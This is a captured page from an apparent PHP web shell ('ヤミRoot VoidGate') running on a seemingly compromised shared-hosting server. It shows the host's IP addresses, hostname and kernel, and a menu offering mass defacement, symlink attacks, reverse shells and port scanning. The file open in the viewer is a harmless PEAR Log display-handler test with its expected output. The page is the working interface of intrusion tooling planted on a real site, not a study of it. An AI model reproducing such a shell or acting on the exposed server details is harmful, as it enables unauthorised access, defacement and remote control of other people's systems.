ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
php
/
tests
/
Log
/
tests
/
Viewing: display.phpt
--TEST-- Log: Display Handler --INI-- date.timezone=UTC --FILE-- <?php require_once 'Log.php'; function test($name, $conf) { echo "\nTesting $name Configuration\n"; echo "------------------------------------------------------\n"; $logger = Log::factory('display', '', $name, $conf); $logger->log("Info", PEAR_LOG_INFO); $logger->log("Error", PEAR_LOG_ERR); $logger->log("Debug", PEAR_LOG_DEBUG); $logger->log("Multi\nLine\nEntry", PEAR_LOG_INFO); echo "\n"; } test('Default', array()); test('Line Break', array('linebreak' => "\n")); test('Format', array('lineFormat' => '<!-- %4$s -->')); test('Prepend / Append', array('error_prepend' => '<tt>', 'error_append' => '</tt>')); --EXPECT-- Testing Default Configuration ------------------------------------------------------ <b>info</b>: Info<br /> <b>error</b>: Error<br /> <b>debug</b>: Debug<br /> <b>info</b>: Multi<br /> Line<br /> Entry<br /> Testing Line Break Configuration ------------------------------------------------------ <b>info</b>: Info <b>error</b>: Error <b>debug</b>: Debug <b>info</b>: Multi<br /> Line<br /> Entry Testing Format Configuration ------------------------------------------------------ <!-- Info --><br /> <!-- Error --><br /> <!-- Debug --><br /> <!-- Multi<br /> Line<br /> Entry --><br /> Testing Prepend / Append Configuration ------------------------------------------------------ <tt><b>info</b>: Info</tt><br /> <tt><b>error</b>: Error</tt><br /> <tt><b>debug</b>: Debug</tt><br /> <tt><b>info</b>: Multi<br /> Line<br /> Entry</tt><br />
Coded With 💗 by
0x6ick